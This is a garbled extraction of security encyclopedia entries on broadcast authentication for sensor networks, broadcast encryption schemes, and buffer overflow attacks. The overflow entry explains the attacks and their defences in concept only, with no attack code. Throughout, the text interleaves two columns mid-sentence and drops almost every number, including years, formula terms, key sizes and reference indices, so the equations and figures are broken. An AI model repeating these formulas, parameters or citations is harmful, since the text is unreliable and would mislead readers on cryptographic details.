. Guofei Gu, Yegneswaran V, Porras P, Stoll J, Lee W () Solutions Using Symmetric Cryptography
Active Botnet probing to identify obscure command and con- Perrig et al. developed a broadcast authentication scheme,
trol channels. In: Proceedings of annual computer security
named TESLA, for sensor networks that only uses sym-
applications conference (ACSAC)
. Yen T-F, Reiter M () Traffic aggregation for malware detec-
metric key cryptography []. This scheme introduces
tion. In: Proceedings of the fifth GI international conference on asymmetry by delaying the disclosure of symmetric keys.
detection of intrusions and malware, and vulnerability assess- Specifically, a sender broadcasts a message with a mes-
ment (DIMVA) sage authentication code (MAC) generated with a secret
key K, which will be disclosed after a certain period of
time. When a receiver receives this message, if it finds out
Broadcast Authentication from a that the packet was sent before the key was disclosed, the
Conditional Perspective receiver will buffer this packet and authenticate it when
it receives the corresponding disclosed key. To continu-
Donggang Liu ously authenticate the broadcast packets, TESLA divides
Department of Computer Science and Engineering, The the time period for broadcasting into multiple time inter-
University of Texas at Arlington, Arlington, Texas, USA vals, assigning different keys to different time intervals.
All the packets broadcasted in a given time interval are
authenticated with the same key assigned to that time
Synonyms
interval.
Multicast authentication
To verify the broadcast messages, a receiver first
Related Concepts authenticates the disclosed keys. TESLA uses a one-way
Digital Signature; One-Way Hash Function
key chain for this purpose. The sender selects a random
value Kn as the last key in the key chain and repeatedly
Denition performs a pseudo random function F to compute all the
Broadcast authentication is a cryptographic protocol that other keys: Ki = F(Ki+ ), i n , where the secret key
ensures the authenticity of broadcast messages. In sen- Ki is assigned to the i-th time interval. With the pseudo
sor networks, every sensor node should be able to verify random function F, given Kj in the key chain, anybody
whether a broadcast message does come from the legiti- can compute all previous keys Ki , i j, but nobody
mate sender and the content of this message has not been can compute any of the later keys Ki , j + i n.
modified during transmission. Thus, with the knowledge of the initial key K , called the
commitment of the key chain, a receiver can authenticate
Background any key in the key chain by only performing F. When
As one of the most fundamental services in sensor a broadcast message is available in i-th interval, denoted
networks, broadcast allows a sender to send critical data as Ii , the sender generates MAC for this message with
and commands to many sensor nodes in an efficient a key derived from Ki and then broadcasts this message
way. A natural idea to achieve broadcast authentication along with its MAC and discloses the key Kid assigned
is to use schemes based on public key cryptography, i.e., to the time interval Iid , where d is the disclosure lag of
digital signatures. However, sensor nodes are resource- the authentication keys. The sender prefers a long delay
limited; it is often undesirable to use computationally in order to make sure that all or most of the receivers can
expensive algorithms. Current research focuses on () receive its broadcast messages. But, for the receivers, a long
developing solutions that only use symmetric key cryp- delay could result in high storage overhead to buffer the
tographic operations and () reducing the cost of digital messages.
signature schemes. Since every key in the key chain will be disclosed after
some delay, the attacker can forge a broadcast packet by
Theory using the disclosed key. TESLA uses a security condi-
The objective of broadcast authentication in sensor tion to prevent a receiver from accepting any broadcast
networks is to ensure the authenticity of broadcast mes- packet authenticated with a disclosed key. When a receiver
sages in the presence of malicious attacks. It is assumed that receives an incoming broadcast packet in time interval
the attacker can () access the wireless channel to eaves- Ii , it needs to check whether this packet is broadcasted
drop, modify, or block any broadcast packet and () locate before the disclosure of the corresponding key. If yes, the
and compromise sensor nodes to learn the secrets stored receiver accepts this packet. Otherwise, the receiver simply
on them. drops it. When the receiver receives the disclosed key Ki ,
Broadcast Authentication from a Conditional Perspective B
it can authenticate it with any key Kj received previously fact that broadcast in sensor networks is usually done by a
by checking whether Kj = F ij (Ki i), and then verify the network-wide flooding protocol, and a broadcast message
buffered packets that were sent during time interval Ii . forwarded by a sensor node only has a small number of
However, in TESLA, the base station has to unicast immediate receivers due to the short-range radio. Hence,
the initial parameters such as the key chain commitments whenever a sensor node forwards a broadcast packet, it
to the sensor nodes individually. This feature severely lim- embeds a few additional bits in this packet for each neigh-
B
its its application in large sensor networks. For example, bor based on a secret shared with that neighbor. These
the implementation of TESLA in [] has Kbps at the bits will allow this node to weakly authenticate the broad-
physical layer and supports -byte packets. To bootstrap cast message to remove a significant part of fake signatures
, nodes, the base station has to send or receive at least without verifying them.
, packets to distribute the initial parameters, which Another option is to contain DoS attacks against dig-
takes at least ,
,
= . s even if the channel uti- ital signatures by limiting the propagation of fake signa-
lization is perfect. Such a method certainly cannot scale up tures []. During the flooding of broadcast messages, each
to very large sensor networks, which may have thousands sensor node will choose to do an authentication before
or even millions of nodes. To address this problem a multi- forwarding, the authentication-first idea, or forwarding
level TESLA scheme was proposed in [, ]. The basic idea before authentication, the forwarding-first idea. Clearly, the
is to use TESLA in multiple resolutions so that a high- authentication-first idea can stop the propagation right
level TESLA instance can be used to help the distribution after the verification. Hence, the basic idea is that sen-
of the initial parameters for low-level ones. sor nodes slowly shift to authentication-first scheme if
they start receiving a lot of bogus messages, but remain in
Solutions Using Asymmetric Cryptography forwarding-first mode if the majority of the messages they
Recent studies have shown that it is possible to do pub- received are authentic.
lic key cryptographic operations on resource-constrained
sensor platforms []. In addition, there have been Applications
continuous efforts to optimize Elliptic Curve Cryptography Broadcast authentication is a critical service for any sensor
(ECC) for sensor platforms [, ]. As a result, ECC-based network that needs to operate in hostile environments.
signature schemes will also be an attractive alternative Many sensor network protocols such as flooding and local
for broadcast authentication in sensor networks. One collaboration (e.g., data aggregation) benefit significantly
promising approach is the Elliptic Curve Digital Signa- from broadcast, which efficiently disseminates critical data
tureAlgorithm (ECDSA), which is a variant of the Digital or commands to other sensor nodes. Due to the existence
Signature Algorithm (DSA) that uses ECC. In general, the of attackers, broadcast services have to be protected so that
bit size of the ECDSA public key is believed to be about the attacker cannot forge/modify broadcast messages to
twice the size of the security level in bits. In other words, compromise the security of other network protocols.
to have a security level of bits, the public key for ECDSA
will be about bits, which is much smaller than the key Open Problems
size (, bits) needed by DSA to achieve the same level Broadcast authentication is still an active research area
of security. due to the limitations of existing solutions. In particular,
However, the significant resource consumption solutions based on symmetric cryptography have several
imposed by public key cryptographic operations makes practical limitations such as the requirement of time syn-
schemes like ECDSA easy targets of denial-of-service chronization and the authentication delay. How to make
(DoS) attacks. For example, if ECDSA is directly used for these solutions practically useful will be a challenge. For
broadcast authentication without further protection, an solutions based on asymmetric cryptography, the cost of
attacker can simply broadcast forged packets and force generating and verifying signatures will still be a problem
the receiving nodes to do a large number of unnecessary for low-end nodes. How to further reduce the computation
signature verifications, eventually exhausting their battery overhead is an open area.
power.
A number of methods have been proposed to deal
Recommended Reading
with the DoS attacks against signature verification [, ].
. Dong Q, Liu D, Ning P () Pre-authentication filters: provid-
One option is pre-authentication filter [], which effectively ing dos resistance for signature-based broadcast authentication
removes bogus messages before performing the actual sig- in wireless sensor networks. In: Proceedings of ACM Conference
nature verification. This solution is developed based on the on Wireless Network Security (WiSec), Alexandria, Virginia
B Broadcast Authentication from an Information Theoretic Perspective
. Gura N, Patel A, Wander A () Comparing elliptic curve Background

cryptography and RSA on -bit CPUs. In: Proceedings of the The first broadcast authentication codes were proposed by
Workshop on Cryptographic Hardware and Embedded Systems
Desmedt, Frankel, and Yung []. Safavi-Naini and Wang
(CHES), Boston, Massachusetts
. Liu A, Ning P () TinyECC: A configurable library for elliptic
have considered more general broadcast authentication
curve cryptography in wireless sensor networks. In: Proceedings models and proposed new schemes.
of the International Conference on Information Processing in
Sensor Networks (IPSN), St. Louis, Missouri Theory
. Liu D, Ning P () Efficient distribution of key chain com-
The broadcast message authentication setting is an exten-
mitments for broadcast authentication in distributed sensor
networks. In: Proceedings of the th Annual Network and Dis-
sion of the conventional message authentication sys-
tributed System Security Symposium (NDSS), pp. . San tems. The conventional message authentication setting is a
Diego, California point-to-point setting with three participants: a transmit-
. Liu D, Ning P () Multi-level TESLA: broadcast authen- ter(sender), a receiver, and an adversary. Both, the sender
tication for distributed sensor networks. ACM Transactions in
and the receiver are honest. Prior to engaging in a commu-
Embedded Computing Systems (TECS), ()
. Malan DJ, Welsh M, Smith MD () A public-key infrastruc-
nication, the transmitter generates a secret key and sends
ture for key distribution in tinyos based on elliptic curve cryp- it to the receiver over a secure channel. Next, the sender
tography. In: Proceedings of First Annual IEEE Communications computes a codeword for the message using the secret key.
Society Conference on Sensor and Ad Hoc Communications and This is typically accomplished by appending an authentica-
Networks (IEEE SECON ), pp . Santa Clara, California
tion tag to the message. The codeword is sent over a public
. Perrig A, Szewczyk R, Wen V, Culler D, Tygar D () SPINS:
Security protocols for sensor networks. In: Proceedings of Sev-
channel which is subject to active attack. The receiver uses
enth Annual International Conference on Mobile Computing and the secret key to decode the message and verify its authen-
Networks (MobiCom). Rome, Italy ticity. The goal of the adversary is to forge a message (i.e., to
. Wang R, Du W, Ning P () Containing denial-of-service trick the sender into accepting a message that was not sent
attacks in broadcast authentication in sensor networks. In Mobi-
by the receiver). In the broadcast authentication model,
Hoc : Proceedings of the th ACM international symposium
on Mobile ad hoc networking and computing, pp . ACM,
there are n > receivers. The transmitter and the receivers
New York share secret key information. The transmitter sends an
encoded message over a public channel to the receivers,
and each receiver uses its secret key information to decode
the message and verify its authenticity. It is assumed that
Broadcast Authentication from the adversary can corrupt a limited number of receivers.
The goal of the adversary is to forge a message in coopera-
an Information Theoretic
tion with the corrupt receivers. The scheme is secure if the
Perspective probability that the adversary will succeed is negligible.
The initially proposed broadcast authentication
Yvo Desmedt , Goce Jakimoski schemes were unconditionally secure. In this case, the

Department of Computer Science, University College adversary has unlimited computational power. The sender
London, London, UK encodes and sends only one message per secret key.

Electrical and Computer Engineering, Stevens Institute So, there are only two possible attacks: an imperson-
of Technology, USA ation attack and a substitution attack. In both types of
attacks, the adversary cooperates with a group of mali-
Synonyms cious receivers in order to construct a fraudulent message
Multicast authentication that will be accepted as authentic by some honest receiver.
The difference between the two types of attacks is that in
Related Concepts impersonation the attacker has not seen any previous com-
Authentication; Authentication Codes; CBC-MAC munication, while in substitution he has seen receivers
and Variants; CMAC; Digital Signatures; GMAC; transmission and replaced the codeword sent to a honest
HMAC; MAC Algorithms; Multi-cast Stream Authen- receiver. The adversary is successful if an honest receiver
tication; PMAC accepts a fraudulent message.
The message authentication codes that provide uncon-
Denition ditional security in a broadcast scenario are called multi-
Broadcast authentication is a generalization of the message receiver authentication codes or MRA-codes for short.
authentication notion that allows more than one receiver. An MRA-code can be constructed from a conventional
Broadcast Encryption B
unconditionally secure authentication code (A-code) by

allowing transmitter to share a different secret key with Broadcast Encryption
each of the n receivers. The broadcasted codeword is sim-
ply a concatenation of the codewords for each receiver. The Dalit Naor
length of the senders key and the combined authentication Department of Computer Science and Applied
tag grow linearly with the number of receivers. Although Mathematics, Weizmann Institute of Science, B
this solution is secure against the largest possible group of Rehovot, Israel
colluding receivers, it is a very uneconomical method of
authenticating a message. Hence, an important question Denition
is whether it is possible to construct more efficient MRA- The concept of broadcast encryption deals with methods
codes with shorter tags and shorter transmitters key. The that allow to efficiently transmit information to a dynami-
answer to this question is positive, and some more efficient cally changing group of privileged users who are allowed
constructions have been provided in the literature [, ]. to receive the data. It is often convenient to think of it
The verification key in the digital signature schemes as a revocation scheme, which addresses the case where
is public. Hence, the digital signature schemes remain some subset of the users are excluded from receiving the
computationally secure in a broadcast scenario. However, information.
using digital signatures to achieve broadcast authentica-
tion might be too costly for some applications. One such Background
class of applications is the class of streaming applications. The problem of a center transmitting data to a large group
Streaming applications such as streaming audio or video of receivers so that only a predefined subset is able to
generate large volumes of data that has to be processed in decrypt the data is at the heart of a growing number of
real-time. Digitally signing each packet is too expensive. applications. Among them are pay-TV applications, multi-
Therefore, many efficient multicast (or broadcast) stream cast (or secure group) communication, secure distribution
authentication methods providing different levels of com- of copyright-protected material (e.g., music), digital rights
putational security have been suggested so far (Stream management, and audio streaming. Different applications
Authentication). impose different rates for updating the group of legitimate
The broadcast authentication model can be further users. Users are excluded from receiving the information
generalized. One such extension is to have a dynamically due to payments, subscription expiration, or since they
chosen sender instead of a fixed one. The authentication have abused their rights in the past.
codes that are designed to provide security in this setting One special case is when the receivers are stateless. In
are called MRA-codes with a dynamic sender or DMRA- such a scenario, a (legitimate) receiver is not capable of
codes for short []. A further extension of allowing up to t recording the past history of transmissions and changes
senders instead of only one sender gave rise to the notion its state accordingly. Instead, its operation must be based
of tDMRA-codes. A trivial construction of a tDMRA-code on the current transmission and its initial configuration.
is to use t copies of a DMRA-code with t independent keys. Stateless receivers are important for the case where the
The efficiency of this solution grows linearly with the num- receiver is a device that is not constantly online, such as a
ber of possible senders t. Some constructions that improve media player (e.g., a CD or DVD player where the trans-
on the trivial solution have been presented []. mission is the current disc [, ], a satellite receiver (GPS)
and perhaps in multicast applications).
Recommended Reading Broadcast encryption can be combined with tracing
. Desmedt Y, Frankel Y, Yung M () Multi-receiver/Multi- capabilities to yield trace-and-revoke schemes. A tracing
sender network security: efficient authenticated multicast/ feed- mechanism enables the efficient tracing of leakage, specif-
back. In: IEEE Infocom , Florence, Italy. pp
ically, the source of keys used by illegal devices, such as
. Safavi-Naini R, Wang H () New results on multi-receiver
authentication codes. In: Advances in cryptology Eurocrypt pirate decoders or clones. Trace-and-revoke schemes are
(Lecture notes in computer science ), Springer, Heidelberg, of particular value in many scenarios: they allow to trace
pp the identity of the user whose key was leaked; in turn, this
. Safavi-Naini R, Wang H () Bounds and constructions for users key is revoked from the system for future uses.
multi-receiver authentication codes. In: Advances in cryptology
Asiacrypt (Lecture notes in computer science ), Springer,
Heidelberg, pp
Theory
. Safavi-Naini R, Wang H () Broadcast authentication for What are the desired properties of a broadcast encryption
group communication. Theoret Comput Sci : scheme? A good scheme is characterized by
B Broadcast Encryption
Low bandwidth we aim at a small message expan- communication in a multicast environment. Useful mainly
sion, namely, that the length of the encrypted con- in the connected mode for multicast rekeying applications,
tent should not be much longer than the original it revokes or adds a single user at a time, and updates the
message. keys of all remaining users. It requires a transmission of
Small amount of storage we would like the amount of log N keys to revoke a single user, each user is required to
required storage (typically keys) at the user to be small, store log N keys and the amount of work each user should
and as a secondary objective the amount of storage at do is log N encryptions (the expected number is O() for
the server to be manageable as well. an average user). These bounds are somewhat improved in
Attentiveness does the scheme require users to be [, ], but unless the storage at the user is extremely
online all the time? If such a requirement does not high they still require a transmission of length (r log N).
apply, then the scheme is called stateless. This algorithm may revoke any number of users, regardless
Resilience we want the method to be resilient to of the coalition size.
large coalitions of users who collude and share their Luby and Staddon [] considered the information
resources and keys. theoretic (computational complexity, information the-
ory, and security) setting and devised bounds for any
In order to evaluate and compare broadcast encryption revocation algorithms under this setting. Garay et al. []
methods, we define a few parameters. Let N be the set of introduced the notion of long-lived broadcast encryption.
all users, N = N, and R N be a group of R = r In this scenario, keys of compromised decoders are no
users whose decryption privileges should be revoked. The longer used for encryptions. The question they address
goal of a broadcast encryption algorithm is to allow a cen- is how to adapt the broadcast encryption scheme so
ter to transmit a message M to all users such that any as to maintain the security of the system for the good
user u N /R can decrypt the message correctly, while users.
a coalition consisting of t or fewer members of R can- CPRM, which stands for content protection for record-
not decrypt it. The important parameters are therefore r, able media, [] is a technology for protecting content on
t, and N. physical media such as recordable DVD, DVD Audio,
A system consists of three parts: () a key assignment Secure Digital Memory Card, and Secure CompactFlash.
scheme, which is an initialization method for assigning It is one of the methods that explicitly considers the state-
secret keys to receivers that will allow them to decrypt. less scenario. There, the message is composed of r log N
() The broadcast algorithm given a message M and encryptions, the storage at the receiver consists of log N
the set R of users to revoke outputs a ciphertext mes- keys, and the computation at the receiver requires a single
sage M that is broadcast to all receivers. () A decryption decryption. It is a variant on the techniques of [].
algorithm a (nonrevoked) user who receives ciphertext The subset difference method for broadcast encryp-
M should produce the original message M using its secret tion, proposed by Naor, Naor, and Lotspiech [, ], is
information. most appropriate in the stateless scenario. It requires a
The issue of secure broadcasting to a group has been message length of r (in the worst case, or .r in
investigated earlier on; see, for example, []. The first the average case) encryptions to revoke r users, and stor-
formal definition of the area of broadcast encryption, age of log N keys at the receiver. The algorithm does
including parameterization of the problem and its rigorous not assume an upper bound of the number of revoked
analysis (as well as coining the term) was done by Fiat and receivers, and works even if all r revoked users collude. The
Naor in [] and has received much attention since then; key assignment of this scheme is computational and not
see for example []. The original broadcast encryption information theoretic, and as such it outperforms an infor-
method of [] allows the removal of any number of users as mation theoretic lower bound on the size of the message
long as at most t of them collude. There the message length []. A rigorous security treatment of a family of schemes,
is O(t log t); a user must store a number of keys that is including the subset difference method, is provided in [].
logarithmic in t and the amount of work required by the Halevy and Shamir [] have suggested a variant of sub-
user is O(r/t) decryptions. The scheme can be used in a set difference called LSD (layered subset difference). The
stateless environment as it does not require attentiveness. storage requirements are reduced to O(log+ N) while
On the other hand, in the stateful case, gradual revocation the message length is O(r/), providing a full spectrum
of users is particularly efficient. between the complete subtree and subset difference meth-
The logical-tree-hierarchy (LKH) scheme, suggested ods. A reasonable choice is = .
independently in the late s by Wallner et al. [] Both LKH and the subset difference methods are hier-
and Wong et al. [], is designed to achieve secure group archical in nature and as such are particularly suitable to
Broadcast Encryption B
cases where related users must all be revoked at once, is also responsible for choosing the new key. When some
for instance, all users whose subscription expires on a user u N is revoked, a new group key K should be cho-
certain day. sen and all nonrevoked users in N should receive it, while
It is also important to realize that many implemen- no coalition of the revoked users should be able to obtain
tations in this field remain proprietary and are not pub- it; this is called a leave event. At every point a nonrevoked
lished both for security reasons (not to help the pirates) user knows the group key K as well as a set of secret aux-
B
as well as for commercial reasons (not to help the iliary keys. These keys correspond to subsets of which the
competitors). user is a member, and may change throughout the lifetime
of the system.
Constructions Users are associated with the leaves of a full binary tree
A high level overview of three fundamental broadcast of height log N. The center associates a key Ki with every
encryption constructions is outlined below. Details are node vi of the tree. At initialization, each user u is sent (via a
omitted and can be found in the relevant references. One secret channel) the keys associated with all the nodes along
technique that is commonly used in the key assignment of the path connecting the leaf u to the root. Note that the
these constructions is the derivation of keys in a tree-like root key K is known to all users and can be used to encrypt
manner: a key is associated with the root of a tree and this group communications.
induces a labeling of all the nodes of the tree. The deriva- In order to remove a user u from the group (a leave
tion is done based on the technique first used by Goldreich, event), the center performs the following operations. For
Goldwasser, and Micali (GGM) []. all nodes vi along the path from u to the root, a new key Ki
is generated. The new keys are distributed to the remain-
FiatNaor Construction ing users as follows: let vi be a node on the path, vj be its
The idea of the construction in [] is to start with the case child on the path, and v its child that is not on the path.
where the coalition size (the number of users who collude Then Ki is encrypted using Kj and K (the latter did not
and share their secret information) is t and reduce it to the change), i.e., a pair of encryptions EKj (Ki ), EK (Ki ).
case where the coalition size is , the basic construction. The exception is if vi is the parent of the leaf u, in which
For this case, suppose that there is a key associated with case only a single encryption using the sibling of u is sent.
each user; every user is given all keys except the one associ- All encryptions are sent to all the users.
ated with it. (As an illustration, think of the key associated
with a user as written on its forehead, so that all other users
except for itself can see it.) To broadcast a message to the Subset Dierence
group N / R, the center constructs a broadcast key by The subset difference construction defines a collection of
Xoring all keys associated with the revoked users R. Note subsets of users S , . . . , Sw , Sj N . Each subset Sj is
that any user u N / R can reconstruct this key, but a assigned a long-lived key Lj ; a user u is assigned some
user u R cannot deduce the key from its own informa- secret information Iu so that every member of Sj should
tion. This naive key assignment requires every user to store be able to deduce Lj from its secret information. Given a
N keys. Instead, by deriving the keys in a GGM tree-like revoked set R, the remaining users are partitioned into dis-
process, the key assignment is made feasible by requiring joint sets Si , . . . , Sim from the collection that entirely cover
every user to store log N keys only. them (every user in the remaining set is in at least one sub-
The construction is then extended to handle the case set in the cover) and a session key K is encrypted m times
where up to t users may share their secret information. The with Li , . . . , Lim . The message is then encrypted with the
idea then is to obtain a scheme for larger t by various parti- session key K.
tions of the user set, where for each such partition the basic Again, users are associated with the leaves of a full
scheme is used. binary tree of height log N. The collection of subsets
S , . . . , Sw defined by this algorithm corresponds to sub-
Logical Key Hierarchy sets of the form a group of receivers G minus another
The LKH (logical key hierarchy) scheme [, , ] main- group G , where G G . The two groups G , G cor-
tains a common encryption key for the active group mem- respond to leaves in two full binary subtrees. Therefore,
bers. It assumes that there is an initial set N of N users a valid subset S is represented by two nodes in the tree
and that from time to time an active user leaves and a new (vi , vj ) such that vi is an ancestor of vj and is denoted as
value for the group key should be chosen and distributed Si,j . A leaf u is in Si,j iff it is in the subtree rooted at vi but
to the remaining users. The operations are managed by a not in the subtree rooted at vj , or in other words u Si,j iff
center that broadcasts all the maintenance messages and vi is an ancestor of u but vj is not.
B Broadcast Stream Authentication
The observation is that for any subset R of revoked . Wallner DM, Harder EJ, Agee RC () Key management for
users, it is possible to find a set of at most r subsets multicast: issues and architectures. Internet Request for Com-
ments . ftp.ietf.org/rfc/rfc.txt
from the predefined collection that cover all other users
. Wong CK, Gouda M, Lam S () Secure group communi-
N / R. cations using key graphs. In: Proceedings of the ACM SIG-
A naive key assignment that assigns to each user all COMM, Vancouver, pp
long-lived keys of the subsets it belongs to requires a user . Canetti R, Malkin T, Nissim K () Efficient communication-
to store O(N) key. Instead, this information (or rather a storage tradeoffs for multicast encryption. In: Stern J (ed)
Advances in cryptology EUROCRYPT, Prague, May .
succinct representation of it) can be reduced to log N
Lecture Notes in Computer Science, vol . Springer, Berlin,
based on a GGM-like tree construction; for details see []. pp
. McGrew D, Sherman AT () Key establishment in large
dynamic groups using one-way function trees. www.csee.umbc.
Recommended Reading edu/sherman/
. Content Protection for Recordable Media. http://www.centity. . Perrig A, Song D, Tygar JD () ELK, a new protocol for effi-
com/centity/tech/cprm cient large-group key distribution. In: IEEE symposium on
. Lotspiech J, Nusser S, Pestoni F () Broadcast encryptions research in security and privacy, Oakland, pp
bright future. Computer (): . Waldvogel M, Caronni G, Sun D, Weiler N, Plattner B () The
. Berkovits S () How to broadcast a secret. In: Davies DW VersaKey framework: versatile group key management. IEEE J
(ed) Advances in cryptology EUROCRYPT, Brighton, April Sel Area Commun ():
. Lecture Notes in Computer Science, vol . Springer, . Goldreich O, Goldwasser S, Micali S () How to construct
Berlin, pp random functions. J Assoc Comput Mach ():
. Fiat A, Naor M () Broadcast encryption. In: Stinson DR (ed) . Wong CK, Lam S () Keystone: a group key management
Advances in cryptology CRYPTO, Santa Barbara, August service. In: International conference on telecommunications,
. Lecture Notes in Computer Science, vol . Springer, Acapulco, May
Berlin, pp
. Canetti R, Garay J, Itkis G, Micciancio D, Naor M, Pinkas B
() Multicast security: a taxonomy and some efficient con-
structions. In: Proceedings of IEEE INFOCOM, New York, Broadcast Stream Authentication
March , vol , pp
. Garay JA, Staddon J, Wool A () Long-lived broad- Stream and Multicast Authentication
cast encryption. In: Bellare M (ed) Advances in cryptol-
ogy CRYPTO , Santa Barbara, August . Lecture
Notes in Computer Science, vol . Springer, Heidelberg,
pp Browser Cookie
. Halevy D, Shamir A () The LSD broadcast encryption
scheme. In: Yung M (ed) Advances in cryptology CRYPTO
Cookie
, Santa Barbara, August . Lecture Notes in Computer
Science, vol . Springer, Berlin
. Kumar R, Rajagopalan R, Sahai A () Coding constructions
for blacklisting problems without computational assumptions. BSP Board Support Package
In: Wiener J (ed) Advances in cryptology CRYPTO, Santa
Barbara, August . Lecture Notes in Computer Science, vol
. Springer, Heidelberg, pp Trusted Computing
. Luby M, Staddon J () Combinatorial bounds for broadcast
encryption. In: Nyberg K (ed) Advances in cryptology EURO-
CRYPT, Espoo, MayJune . Lecture Notes in Computer
Science, vol . Springer, Heidelberg, pp Buer Overow Attacks
. Naor D, Naor M () Protecting cryptographic keys: the trace
and revoke approach. Computer (): Angelos D. Keromytis
. Naor D, Naor M, Lotspiech J () Revocation and tracing
Department of Computer Science, Columbia University,
schemes for stateless receivers. In: Killian J (ed) Advances
in cryptology CRYPTO , Santa Barbara, August . New York, NY, USA
pp . Full version: ECCC Report , . http://www.eccc. Synonyms
uni-trier.de/eccc/
Buffer overrun; Memory overflow; Stack (buffer) overflow;
. Naor M, Pinkas B () Efficient trace and revoke schemes.
In: Frankel Y (ed) Financial cryptography, fourth international Stack (buffer) overrun; Stack/heap smashing
conference, FC Proceedings, Anguilla, February . Lec-
ture Notes in Computer Science, vol . Springer, Berlin, Related Concepts
pp Computer Worms
Buer Overow Attacks B
Denition string handling operations), and practices that allow

Buffer overflow attacks cause a program to overwrite a for memory operations without safety checking, e.g.,
memory region (typically representing an array or other whether copied data fit in the destination buffer
composite variable) of finite size such that additional data
is written on adjacent memory locations. The overwrite By accidentally copying beyond the boundaries of a buffer,
typically occurs past the end of the region (toward higher adjacent memory locations will be overwritten with the
B
memory addresses), in which case it is called an overflow. copied data. If the destination buffer resides in the memory
If the overwrite occurs toward lower memory addresses stack (e.g., an automatic variable in the C or C++ language)
(i.e., before the start of the memory region), it is called an enough such data is copied, control information such as
underflow. In rare cases, the overwrite can happen in non- the function return address field can be overwritten. This
adjacent locations. The data written on memory locations field is used by a running program to determine where
is typically under the control of an attacker who wishes the currently executing (active) function should return
to take control of the program, or at least influence its once it has completed. If this field is overwritten with ran-
execution. Typically (but not necessarily), such overflow dom data, the CPU (under the control of the program)
data include code that is executed as part of an attack. will attempt to pass control to a random memory location,
Buffer overflows can also occur over the network. Buffer causing one of several possible fault conditions to occur.
overflow attacks are possible through a combination of If the data with which this field is overwritten can be dic-
language features (or lack thereof) and bad programming tated by an attacker, then program execution will pass to a
practices. memory location of the attackers choice.
Buffers in other memory regions (e.g., in the program
Background heap, or the BSS segment) can also be overrun. Similarly,
Abnormal program termination by accidentally overwrit- other types of control information can be overrun, such
ing control information in the program stack has been as object and function pointers, exception handlers, and
known since at least the late s/early s. The first jump tables. In all these cases, eventually the program
instance of widespread use of a buffer overflow attack was attempts to jump to a piece of code pointed to by such con-
the Internet Worm, in which a network-facing pro- trol information. This type of buffer overrun attack is called
cess (the fingerd daemon) was compromised by a self- control hijacking, and comes in two general variants based
replicating piece of software. A article in the Phrack on what (attack) code is executed as a result of the attack
magazine [] rekindled interest in buffer overflow attacks (attack code or payload).
as a means of attacking remote systems over the Internet. In a code injection attack, the attack code is inserted
Since that time, several thousand buffer overflow vulner- in the program as part of a data payload. Typically, this is
abilities have been and continue to be discovered, with part of the same data that causes the buffer overrun, i.e.,
many of them exploited for attacks. Perhaps the most infa- the data with which the buffer was overrun contains both
mous uses of such attacks have been the Witty, Blaster, attack code and the address where that code will be stored
and Slammer worms. Buffer overflows remain a potent in memory (i.e., the address of the buffer). Buffer overrun
source of vulnerability for systems, and an active area of attacks that do not inject code must utilize existing code in
research. the program. They are generally called return to libc attacks.
The name comes from the early instances of non-code-
injection buffer overrun attacks, which used code resident
Applications
in the standard C library (libc) to perform their task and
Buffer overflows are possible through a confluence of
to bypass early defenses technique such as the use of a
factors:
non-executable stack (see below); the most common target
The use of the von Neumann architecture as the basis of such attacks was the system() function. More generally,
for most modern computing, wherein program data any code that legitimately resides within the target pro-
and code are resident in the same address space and cess address space, whether library or program code, can
are indistinguishable when examined out of context be used in this fashion. The more sophisticated version
The use of the same memory region (program stack) of non-code-injection attacks, called Return Oriented Pro-
to store both program data, such as function variables, gramming (ROP), utilize a series of manufactured, injected
and control information, such as return addresses stack frames to cause execution of carefully selected snip-
The use of programming languages (most commonly pets of code that, when composed, implement the desired
C or C++), language features (e.g., inherently unsafe functionality for the attacker [].
B Buer Overow Attacks
Non-control-hijacking buffer overruns [] do not alter it will almost always lead to an application crash. The tester
control information, but restrict themselves to altering the can then examine the debugging information, including
values of program variables, indirectly changing the con- the program core file, to determine whether a buffer over-
trol flow of the program. While not as powerful as control flow occurred and the specific conditions that led to it.
hijacking, these attacks have the advantage of being more Another way of discovering buffer overflow vulnerabili-
difficult to defend against, since many defenses monitor for ties is by manually examining the application source code,
changes only to the control information. assembly code, or (in the rare cases where this is feasi-
Buffer overflow attacks are used both against local ble) decompiled code. Finally, there exist a number of tools
and remote applications. In the former case, the target that can examine source code for patterns of known buffer
is typically a program running with elevated privileges, overflow vulnerabilities (static checkers) or can symboli-
the compromise of which will allow an attacker to usurp cally execute the code to explore all possible code paths and
those privileges. A typical outcome of such an attack is a program states, including those that could lead to a buffer
shell process running with superuser privileges. In some overflow (symbolic execution testing) []. While much
cases, buffer overflow attacks can be mounted against an progress has been made in this area in recent years, there
operating system kernel, allowing the attacker to com- remain both theoretical and practical issues that limit the
pletely subvert the whole computer system. Buffer over- effectiveness of such techniques.
flow attacks against programs running on remote systems In terms of defenses against buffer overrun attacks,
allow attackers to execute code of their choosing on a there are several techniques used in practice, with differ-
computer in which they have no access rights. Typical tar- ent degrees of adoptions. One developer-oriented solution
gets of such attacks are server applications (such as web to the problem is to use a language that is not subject to
servers and database management systems), since they code injection; this is not always feasible due to legacy
must always accept input from the network, although client code and other constraints. Another approach is to better
applications (such as web browsers and document edi- educate programmers on security issues, provide testing
tors) have become an easy target in more recent years and checking tools (see previous paragraph), and develop
due to their complexity and size. Servers are particularly libraries that allow for safe versions of common unsafe
attractive targets, since they often operate with elevated operations (e.g., string handling).
privileges. In a typical remote buffer overrun attack, the Most modern operating systems also include some
injected code is used to download a larger code package, defenses against buffer overflows. These defenses do not
which allows the attacker to further compromise a system, eliminate the vulnerability, but make it difficult or impos-
i.e., elevate privileges (if necessary), install a permanent sible for an attacker to exploit it. One popular such defense
backdoor to the system, hide any signs of the attack and is Address Space Layout Randomization (ASLR) [], in
of the backdoor, and find additional targets for compro- which the location of the stack and other important data
mise. Once an exploit is found on a popular program, it is randomized every time a program is executed, making it
is often possible to create a fully self-replicating piece of difficult (but not impossible []) for an attacker to deter-
software (called a worm) that finds and infects other mine where to redirect a hijacked programs execution.
computers running the same software with no human One advantage of ASLR is that it is completely transparent
supervision. Furthermore, there exist a number of pro- to users and developers, while incurring a low-to-zero
grams that allow testers, system administrators, and attack- runtime performance overhead. Other defenses at the
ers to easily weaponize an exploit and make it a rela- operating system level include the use of non-executable
tively simple process to compromise a large number of segments, either by carefully manipulating the permis-
computers. sions on the page table or by leveraging specific hardware
The most common way of discovering buffer overflow functionality, and the use of intrusion detection and sand-
attacks is by fuzzing application inputs. Fuzzing is a semi- boxing (e.g., through a virtual machine monitor) to limit
automated process through which a large number of syn- the scope and duration of a successful attack.
